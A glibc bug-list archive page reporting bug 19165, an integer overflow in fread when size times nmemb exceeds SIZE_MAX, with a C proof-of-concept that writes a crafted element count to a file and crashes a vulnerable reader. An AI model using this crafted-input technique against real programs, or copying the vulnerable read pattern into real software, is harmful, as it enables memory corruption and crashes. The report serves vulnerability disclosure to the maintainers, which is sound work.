This is the mail archive of the glibc-bugs@sourceware.org mailing list for the glibc project.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]
Other format: [Raw text]

[Bug stdio/19165] New: fread overflow


https://sourceware.org/bugzilla/show_bug.cgi?id=19165

            Bug ID: 19165
           Summary: fread overflow
           Product: glibc
           Version: 2.19
            Status: NEW
          Severity: normal
          Priority: P2
         Component: stdio
          Assignee: unassigned at sourceware dot org
          Reporter: cherepan at mccme dot ru
  Target Milestone: ---

There two problems with fread when size * nmemb > SIZE_MAX:
1) it seems that fread will read only size * nmemb % (SIZE_MAX + 1) bytes
instead of whole file (the buffer can hardly be larger than SIZE_MAX bytes,
hence the file should be smaller than this);
2) fread will report that all nmemb elements are read if, additionally, size *
nmemb % (SIZE_MAX + 1) != 0.
Both things are wrong and can lead to security problems when nmemb (or size)
comes from an untrusted source and the program depends on the assumption that
fread cannot read more bytes than file size and that its result is accurate.

The following program works with the file of size 12 and outputs this (on
64-bit platform):

want to read: 4611686018427387905
actually read: 4611686018427387905
Segmentation fault

Tested on Debian jessie (glibc 2.19-18+deb8u1).


#include <stdint.h>
#include <stdlib.h>
#include <stdio.h>

/* victim function trying to be safe */
int process_file(void)
{
  FILE *f = fopen("fread-overflow.dat", "rb");
  if (!f)
    return 1;

  /* get file size */
  if (fseek(f, 0, SEEK_END))
    return 2;
  long size = ftell(f);
  if (size <= 0)
    return 3;
  if (fseek(f, 0, SEEK_SET))
    return 4;

  if (size > 1000) { /* This could be omitted given that malloc is checked. */
    printf("File too large.\n");
    return 5;
  }
  /* file size should be enough for everything read from the file */
  unsigned *buf = malloc(size);
  if (!buf) {
    printf("Not enough memory.\n");
    return 6;
  }

  /* read number of elements from the file */
  size_t nmemb;
  if (fread(&nmemb, sizeof(nmemb), 1, f) != 1)
    return 7;

  printf("want to read: %zu\n", nmemb);

  /* fread cannot read more bytes than the file size */
  size_t n = fread(buf, sizeof(buf[0]), nmemb, f);
  printf("actually read: %zu\n", n);
  if (n != nmemb) {
    printf("Truncated file\n");
    return 8;
  }
  fclose(f);

  unsigned sum;
  for (size_t i = 0; i < nmemb; i++)
    sum += buf[i];

  printf("sum = %u\n", sum);

  return 0;
}

/* preparing attack */
void prepare_file(void)
{
  FILE *f = fopen("fread-overflow.dat", "wb");

  /* number of elements */
  size_t nmemb = SIZE_MAX / sizeof(unsigned) + 2;
  fwrite(&nmemb, sizeof(nmemb), 1, f);
  /* some garbage */
  fwrite(&nmemb, sizeof(unsigned), 1, f);

  fclose(f);
}

int main(void)
{
  prepare_file();

  return process_file();
}

-- 
You are receiving this mail because:
You are on the CC list for the bug.


Index Nav: [Date Index] [Subject Index] [Author Index] [Thread Index]
Message Nav: [Date Prev] [Date Next] [Thread Prev] [Thread Next]